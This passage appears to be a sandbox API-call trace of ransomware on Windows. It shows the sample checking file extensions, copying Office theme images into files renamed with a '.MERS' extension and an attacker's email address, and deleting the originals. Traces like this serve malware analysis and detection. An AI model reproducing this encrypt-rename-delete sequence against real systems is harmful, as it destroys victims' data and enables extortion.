lstrlenW (lpString=".ppt") returned 4 [0047.977] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0047.977] lstrlenW (lpString=".zip") returned 4 [0047.977] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.977] lstrlenW (lpString=".rar") returned 4 [0047.977] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.977] lstrlenW (lpString=".bz2") returned 4 [0047.977] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.977] lstrlenW (lpString=".7z") returned 3 [0047.977] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0047.977] lstrlenW (lpString=".dbf") returned 4 [0047.977] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0047.978] lstrlenW (lpString=".1cd") returned 4 [0047.978] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0047.978] lstrlenW (lpString=".jpg") returned 4 [0047.978] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0047.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0047.978] lstrlenW (lpString=".doc") returned 4 [0047.978] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.978] lstrlenW (lpString=".docx") returned 5 [0047.978] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.978] lstrlenW (lpString=".pdf") returned 4 [0047.978] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.978] lstrlenW (lpString=".xls") returned 4 [0047.978] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.978] lstrlenW (lpString=".xlsx") returned 5 [0047.978] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.978] lstrlenW (lpString=".ppt") returned 4 [0047.978] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0047.978] lstrlenW (lpString=".zip") returned 4 [0047.978] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.978] lstrlenW (lpString=".rar") returned 4 [0047.978] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.978] lstrlenW (lpString=".bz2") returned 4 [0047.978] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.978] lstrlenW (lpString=".7z") returned 3 [0047.978] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0047.978] lstrlenW (lpString=".dbf") returned 4 [0047.978] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0047.978] lstrlenW (lpString=".1cd") returned 4 [0047.978] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0047.979] lstrlenW (lpString=".jpg") returned 4 [0047.979] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.979] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0047.979] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.979] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1287) returned 1 [0047.979] CloseHandle (hObject=0x1a8) returned 1 [0047.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0047.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.980] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.980] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0048.342] GetLastError () returned 0x0 [0048.342] ReadFile (in: hFile=0x1a8, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x507, lpOverlapped=0x0) returned 1 [0048.362] WriteFile (in: hFile=0x204, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x510, lpOverlapped=0x0) returned 1 [0048.364] ReadFile (in: hFile=0x1a8, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.364] WriteFile (in: hFile=0x204, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.364] SetEndOfFile (hFile=0x204) returned 1 [0048.364] CloseHandle (hObject=0x204) returned 1 [0048.365] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.365] SetEndOfFile (hFile=0x1a8) returned 1 [0048.366] CloseHandle (hObject=0x1a8) returned 1 [0048.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.366] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 1 [0048.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.366] lstrlenW (lpString=".doc") returned 4 [0048.366] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.367] lstrlenW (lpString=".docx") returned 5 [0048.367] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.367] lstrlenW (lpString=".pdf") returned 4 [0048.367] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.367] lstrlenW (lpString=".xls") returned 4 [0048.367] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.367] lstrlenW (lpString=".xlsx") returned 5 [0048.367] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.367] lstrlenW (lpString=".ppt") returned 4 [0048.367] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.367] lstrlenW (lpString=".zip") returned 4 [0048.367] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.367] lstrlenW (lpString=".rar") returned 4 [0048.367] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.367] lstrlenW (lpString=".bz2") returned 4 [0048.367] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.367] lstrlenW (lpString=".7z") returned 3 [0048.367] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.367] lstrlenW (lpString=".dbf") returned 4 [0048.367] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.367] lstrlenW (lpString=".1cd") returned 4 [0048.367] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.367] lstrlenW (lpString=".jpg") returned 4 [0048.367] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.368] lstrlenW (lpString=".doc") returned 4 [0048.368] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.368] lstrlenW (lpString=".docx") returned 5 [0048.368] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.368] lstrlenW (lpString=".pdf") returned 4 [0048.368] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.368] lstrlenW (lpString=".xls") returned 4 [0048.368] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.368] lstrlenW (lpString=".xlsx") returned 5 [0048.368] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.368] lstrlenW (lpString=".ppt") returned 4 [0048.368] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.368] lstrlenW (lpString=".zip") returned 4 [0048.368] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.368] lstrlenW (lpString=".rar") returned 4 [0048.368] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.368] lstrlenW (lpString=".bz2") returned 4 [0048.368] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.368] lstrlenW (lpString=".7z") returned 3 [0048.368] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.368] lstrlenW (lpString=".dbf") returned 4 [0048.368] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.368] lstrlenW (lpString=".1cd") returned 4 [0048.368] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.368] lstrlenW (lpString=".jpg") returned 4 [0048.369] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.369] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0048.369] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0048.430] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=33277) returned 1 [0048.430] CloseHandle (hObject=0x1d4) returned 1 [0048.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0048.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0048.430] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.430] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0048.430] GetLastError () returned 0x0 [0048.430] ReadFile (in: hFile=0x1d4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x81fd, lpOverlapped=0x0) returned 1 [0048.435] WriteFile (in: hFile=0x180, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x8200, lpOverlapped=0x0) returned 1 [0048.437] ReadFile (in: hFile=0x1d4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.437] WriteFile (in: hFile=0x180, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.437] SetEndOfFile (hFile=0x180) returned 1 [0048.437] CloseHandle (hObject=0x180) returned 1 [0048.437] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.437] SetEndOfFile (hFile=0x1d4) returned 1 [0048.438] CloseHandle (hObject=0x1d4) returned 1 [0048.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.439] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 1 [0048.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.439] lstrlenW (lpString=".doc") returned 4 [0048.439] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.439] lstrlenW (lpString=".docx") returned 5 [0048.439] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.439] lstrlenW (lpString=".pdf") returned 4 [0048.439] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.439] lstrlenW (lpString=".xls") returned 4 [0048.439] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.439] lstrlenW (lpString=".xlsx") returned 5 [0048.439] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.439] lstrlenW (lpString=".ppt") returned 4 [0048.439] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.439] lstrlenW (lpString=".zip") returned 4 [0048.439] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.439] lstrlenW (lpString=".rar") returned 4 [0048.440] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.440] lstrlenW (lpString=".bz2") returned 4 [0048.440] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.440] lstrlenW (lpString=".7z") returned 3 [0048.440] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.440] lstrlenW (lpString=".dbf") returned 4 [0048.440] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.440] lstrlenW (lpString=".1cd") returned 4 [0048.440] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.440] lstrlenW (lpString=".jpg") returned 4 [0048.440] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.440] lstrlenW (lpString=".doc") returned 4 [0048.440] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.440] lstrlenW (lpString=".docx") returned 5 [0048.440] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.440] lstrlenW (lpString=".pdf") returned 4 [0048.440] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.440] lstrlenW (lpString=".xls") returned 4 [0048.440] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.440] lstrlenW (lpString=".xlsx") returned 5 [0048.440] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.440] lstrlenW (lpString=".ppt") returned 4 [0048.440] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.441] lstrlenW (lpString=".zip") returned 4 [0048.441] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.441] lstrlenW (lpString=".rar") returned 4 [0048.441] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.441] lstrlenW (lpString=".bz2") returned 4 [0048.441] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.441] lstrlenW (lpString=".7z") returned 3 [0048.441] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.441] lstrlenW (lpString=".dbf") returned 4 [0048.441] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.441] lstrlenW (lpString=".1cd") returned 4 [0048.441] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.441] lstrlenW (lpString=".jpg") returned 4 [0048.441] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.441] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0048.441] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0048.726] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1347) returned 1 [0048.726] CloseHandle (hObject=0x1c4) returned 1 [0048.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0048.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0048.726] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.726] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0048.745] GetLastError () returned 0x0 [0048.752] ReadFile (in: hFile=0x1c4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x543, lpOverlapped=0x0) returned 1 [0048.878] WriteFile (in: hFile=0x1d4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x550, lpOverlapped=0x0) returned 1 [0048.879] ReadFile (in: hFile=0x1c4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.879] WriteFile (in: hFile=0x1d4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.879] SetEndOfFile (hFile=0x1d4) returned 1 [0048.879] CloseHandle (hObject=0x1d4) returned 1 [0048.879] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.879] SetEndOfFile (hFile=0x1c4) returned 1 [0048.880] CloseHandle (hObject=0x1c4) returned 1 [0048.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.881] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 1 [0048.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.881] lstrlenW (lpString=".doc") returned 4 [0048.881] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.881] lstrlenW (lpString=".docx") returned 5 [0048.881] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.881] lstrlenW (lpString=".pdf") returned 4 [0048.881] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.881] lstrlenW (lpString=".xls") returned 4 [0048.881] lstrcmpiW (lpString1=".xls", 